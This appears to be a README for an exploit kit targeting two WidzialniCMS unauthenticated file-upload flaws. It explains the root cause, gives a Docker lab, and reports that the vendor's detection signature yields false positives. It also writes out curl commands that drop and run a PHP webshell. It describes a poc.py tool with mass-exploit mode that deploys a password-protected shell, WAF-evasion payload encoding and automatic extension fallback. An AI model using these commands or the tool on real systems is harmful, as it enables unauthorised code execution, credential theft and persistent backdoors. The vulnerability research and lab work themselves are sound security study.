
CVE-2026-110468 / CVE-2026-110469 — WidzialniCMS < 2.5 unauthenticated arbitrary file upload → RCE. Tool, lab, research, verified FOFA dorks. Field note: vendor detection signature is a false positive in the wild (133 sig matches, 0 exploitable).
Vendor: Fundacja Widzialni (Poland) · Product: WidzialniCMS Affected: all versions
< 2.5· Fixed in: 2.5 Reported by: Kamil Szczurowski, Robert Kruczek · Advisory: CERT Polska Verified: isolated lab (WidzialniCMS 2.4 faithful reconstruction), both CVEs independently.
WidzialniCMS authorises file uploads with a request parameter the caller controls
(uploadPermission) and writes the uploaded file to a destination taken from another
request parameter with no validation (currentpath / uploadPath). An unauthenticated
attacker writes an arbitrary PHP file anywhere the web server can write and executes it.
# 1. Drop a webshell (no auth)
curl -s -F '[email protected];filename=x.php' \
'http://TARGET/panel/upload.php?uploadPermission=1&uploadPath=../'
# 2. Execute
curl -s 'http://TARGET/x.php?c=id'
# -> uid=33(www-data) gid=33(www-data) groups=33(www-data)
Two CVEs, one defect class, two distinct code paths:
| CVE | Endpoint | Destination parameter |
|---|---|---|
| CVE-2026-110469 | /panel/upload.php | uploadPath |
| CVE-2026-110468 | /panel/controllers/save_photo.php | currentpath |
During an authorised 834-target live sweep (2026-11-10):
133 hosts matched the vendor detection signature → 0 were exploitable
The signature {"status":"ok","file":"container"} (used by CERT Polska's own nuclei
template) is returned by patched and hardened deployments too — it is a bare
acknowledgement, not proof of a write. Layered write-proof + execution-proof is mandatory.
Two real-world findings shipped into the tool as a result:
WIDFIX — the vendor's patch marker. Patched hosts answer
400 WIDFIX: bad path (traversal validated) / WIDFIX: bad type (type allowlisted).
It behaves as a scanner honeypot: a bare GET still returns the vulnerable signature,
but the upload is refused. poc.py short-circuits these to [PATCHED].file field is literally substr(uploadPath, 2)). Read-back by unique sentinel is
the only reliable check.Takeaway: for this CVE family, a signature match is a lead, not a finding.
| Type | CWE-434 Unrestricted Upload of File with Dangerous Type |
| Auth required | None (unauth) |
| User interaction | None |
| Prerequisite | Reachable /panel/ upload handler (auto-discovered) |
| Impact | RCE — command execution as the web-server user |
| CVSS 4.0 | 10.0 (Critical) — AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H |
| Fixed version | 2.5 |
From RCE an attacker reads CMS config/credentials, accesses the filesystem, pivots internally, or drops a persistent backdoor.
Three compounding defects, identical in both sinks:
1. Client-controlled authorisation. The only gate is isset($_REQUEST['uploadPermission'])
— a value the caller supplies. $_REQUEST merges GET + POST + COOKIE, so any of them
satisfies it (CWE-602 → CWE-862).
2. Unjailed destination path. currentpath / uploadPath is concatenated into the write
path with no basename(), no whitelist and no realpath() containment check — so ../
climbs out of the intended container/ directory.
3. No dangerous-type restriction. The extension is not constrained; a .php
(or .phtml / .php5 on hosts that map them) is accepted and executed.
| # | Path | Gate | Dest param | CVE |
|---|---|---|---|---|
| A1 | /panel/upload.php | uploadPermission | uploadPath | 110469 |
| A2 | /panel/controllers/save_photo.php | uploadPermission | currentpath | 110468 |
| B1 | /panel/upload_file.php | uploadPermission | — | CVE-2025-7063 (PAD CMS, EOL) |
| B2 | /panel/save_photo.php | uploadPermission | — | SzkolnaStrona (sibling) |
Full analysis: research/SINK-COVERAGE.md.
poc.pyOne file, menu-driven, no arguments required.
python3 poc.py # interactive menu
1) single scan (detect)
2) single exploit (scan -> write 0xfay shell)
3) mass scan (file, one target/line)
4) mass exploit (file)
0) exit
Flags remain available for scripting / back-compat:
python3 poc.py -u http://TARGET # single scan
python3 poc.py -u http://TARGET --exploit --password 'S3cret' # deploy 0xfay shell
python3 poc.py -f targets.txt # mass scan
python3 poc.py -f targets.txt --exploit --password 'S3cret' # mass exploit
| Behaviour | Detail |
|---|---|
| Panel path | auto-discovered (panel, adminCP, cms/panel, …) — never hardcoded |
| Permission vector | tried in order query → POST → cookie ($_REQUEST merges all three) |
| Destination vector | tried in order query → POST |
| File field | file / photo / image / upload / plik / … auto-detected |
| Extension | .php / .phtml / .php5 / .php7 / .phar — execution-verified, never assumed |
| Payload encoding | ladder: long tag → short tag → echo tag (WAF evasion) |
| Vendor patch | recognises WIDFIX: bad path/type → short-circuits to PATCHED |
| Success | reported only on an observed execution marker it planted |
VULN · SHELL · PATCHED (incl. WIDFIX) · WAF-BLOCKED · NO-EXEC ·
ASSUMED-SAFE · UNREACHABLE · NOT-VULN
| Lab variant | Config | Result |
|---|---|---|
clean (2.4) | /panel/, no WAF | [SHELL] — id = www-data ✓ |
H1 hardened | content-inspecting WAF + panel renamed /adminCP/ | [WAF-BLOCKED] (honest) ✓ |
H2 waf-easy | multipart-blind WAF + /adminCP/ | [SHELL] (auto .phtml) ✓ |
Both CVEs verified end-to-end and independently (110468 confirmed with upload.php removed).
12 failure modes (research/FAILURE-MODES.md) and 10 wild-failure
modes (research/SELF-ATTACK.md) — all load-bearing ones fixed.
cd lab
docker build -t cve-2026-110468-lab:2.4 .
docker run -d --name widzialni-lab -p 127.0.0.1:8095:80 cve-2026-110468-lab:2.4
Hostile variants live in lab/hostile/ (H1 hardened WAF + renamed panel,
H2 multipart-blind WAF + install prefix).